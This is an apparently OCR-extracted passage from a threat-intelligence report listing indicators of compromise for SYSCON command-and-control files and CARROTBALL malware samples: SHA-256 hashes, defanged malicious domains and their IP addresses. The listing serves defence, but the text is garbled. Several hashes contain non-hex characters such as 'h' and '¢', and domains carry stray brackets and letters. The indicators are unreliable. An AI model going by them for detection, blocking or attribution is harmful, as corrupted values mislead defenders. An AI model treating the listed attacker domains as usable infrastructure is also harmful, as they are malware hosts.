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52ba17b90244a46e0ef2a653452b26bcb94f0a03b999c343301fef4e3c1ec5d2
4958fe8c106200da988c22957821513efd05803460e8e5fcfedb5cbca8d87a5b
7d2b1af486610a45f78a573af9a9ad00414680ff8e958cfb5437a1b140achb60c

bdd90ed7e40c8324894efe9600f2b26fd18b22dcbf3c72548fee647a81d3c099

Associated SYSCON C2 Files:
f3d3fadc76adfabd239acch453512af33ae8667bf261758f402fff22d9df1f67

4b8790e9cb2f58293c28e695bec0a35e2ebd2da8e151c7e8c4513a1508c8bc94
ad63b8677c95792106f5af0b99af04e623146c6206125c93cf1ec9fbfeafaac
c3ac29e4b0c5e1a991d703769b94c0790fbf81fd38cf6acdb240c5246¢c2517ca
a761b47ab25dc2aab6b2f8ad4ab9636e40ebbcaf67f8a34f3524456c09f47d76

42e874d96cb9046cd4113d04c1c5463b1d43a4e828ca872de11c08cd314e650f

Infrastructure:

Domain: handicap][.]Jeu5[.Jorg

IP Resolution: 69.197.143[.]12
Domain: panda2019][.]Jeu5[.]Jorg
IP Resolution: 162.253.155[.]226
Domain: downplease[.]c1[.]biz
IP Resolution: 185.176.43[.]94
Domain: lookplease[.]c1[.]biz

IP Resolution: 185.176.43[.]94

Additional CARROTBALL Samples ldentified on VirusTotal:

6fa895d0472e87deal3c5c5bd6774488d2d7fe409ff92e83870be3740fdfd40e8
Domain: downyes][.]Jc1[.]biz

IP Resolution: Unavailable/unknown
989c042ab9a07b11026bce78dc091f25fa51cb5e310c668904afc7939b197624
Domain: downpleasel[.]c1][.]biz

IP Resolution: 185.176.43[.]194
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